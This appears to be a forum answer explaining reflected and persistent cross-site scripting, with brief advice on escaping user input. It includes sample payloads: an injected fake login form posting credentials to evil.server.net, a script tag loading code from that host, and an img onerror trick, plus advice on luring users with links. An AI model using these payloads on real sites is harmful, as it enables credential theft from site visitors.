i dont get how JS/VBscript can cause so much damage!
Ok. suppose you have a site, and the site is served from http://trusted.server.com/thesite
. Let's say this site has a search box, and when you search the url becomes: http://trusted.server.com/thesite?query=somesearchstring
.
If the site decides to not process the search string and outputs it in the result, like "You search "somesearchstring" didn't yield any results, then anybody can inject arbitrary html into the site. For example:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
So, in this case, the site will dutifully show a fake login form on the search results page, and if the user submits it, it will send the data to the evil untrusted server. But the user doesn't see that, esp. if the url is really long they will just see the first but, and assume they are dealing with trusted.server.com.
Variations to this include injecting a <script>
tag that adds event handlers to the document to track the user's actions, or send the document cookie to the evil server. This way you can hope to bump into sensitive data like login, password, or credit card data. Or you can try to insert a specially styled <iframe>
that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com. As long as the user is tricked into using the injected content instead of the original, the security's comprompised.
This type of XSS is called reflective and non-persistent. Reflective because the url is "relected" directly in the response, and non-persistent because the actual site is not changed - it just serves as a pass through. Note that something like https offers no protection whatsoever here - the site itself is broken, because it parrots the user input via the query string.
The trick is now to get unsuspecting users to trust any links you give them. For example, you can send them a HTML email and include an attractive looking link which points to the forged url. Or you can perhaps spread it on wikis, forums etc. I am sure you can appreciate how easy it really is - it's just a link, what could go wrong, right?
Sometimes it can be worse. Some sites actually store user-supplied content. Simple example: comments on a blog or threads on a forum. Or it may be more subtle: a user profile page on a social network. If those pages allow arbitrary html, esp. script, and this user-supplied html is stored and reproduced, then everybody that simply visits the page that contains this content is at risk. This is persistent XSS. Now users don't even need to click a link anymore, just visiting is enough. Again the actual attack consists of modifying the page through script in order to capture user data.
Script injection can be blunt, for example, one can insert a complete <script src="http://evil.server.net/script.js">
or it may be subtle: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>
.
As for how to protect yourself: the key is to never output user input. This may be difficult if your site revolves around user-supplied content with markup.